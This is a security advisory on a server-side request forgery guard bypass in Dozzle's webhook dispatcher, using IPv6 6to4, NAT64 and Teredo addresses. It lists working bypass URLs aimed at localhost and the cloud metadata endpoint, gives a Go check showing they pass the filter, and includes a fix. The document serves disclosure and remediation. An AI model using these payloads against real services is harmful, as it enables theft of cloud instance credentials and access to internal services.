Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher

Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint.

Attack chain

1. Authenticated user creates a webhook notification with URL http://[2002:7f00:0001::1]:8080/ (6to4 embedding 127.0.0.1)
2. When a notification triggers, Dozzle's webhook dispatcher calls safeDialContext
3. The IPv6 address 2002:7f00:0001::1 is checked against isBlockedIP -- all predicates return false
4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1
5. The webhook POST reaches the host's loopback services

Impact

An authenticated user can bypass the SSRF guard to:

• Reach cloud metadata service at 169.254.169.254 via 2002:a9fe:a9fe::1 (6to4) to steal instance credentials
• Reach localhost services via 64:ff9b::7f00:1 (NAT64) or 2002:7f00:0001::1 (6to4)
• The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)

Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.

Proof of concept

Bypass vectors:

# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)
http://[2002:7f00:0001::1]:8080/

# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/

# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[2002:a9fe:a9fe::1]/latest/meta-data/

# Teredo embedding 127.0.0.1
http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/

Verification that isBlockedIP returns false for all vectors:

package main

import (
    "fmt"
    "net"
)

func isBlockedIP(ip net.IP) bool {
    return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
        ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()
}

func main() {
    for _, v := range []string{
        "2002:7f00:0001::1",    // 6to4 -> 127.0.0.1
        "64:ff9b::a9fe:a9fe",   // NAT64 -> 169.254.169.254
        "2002:a9fe:a9fe::1",    // 6to4 -> 169.254.169.254
    } {
        ip := net.ParseIP(v)
        fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip))
    }
}
// Output: all false

Remediation

Add IPv6 transition mechanism prefix checks to isBlockedIP:

func isBlockedIP(ip net.IP) bool {
	// ... existing checks ...

	// IPv6 transition mechanisms embedding arbitrary IPv4
	if len(ip) == net.IPv6len {
		if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4
		if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64
		if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo
	}
	return false
}

Credit

Reported by tonghuaroot ([email protected]).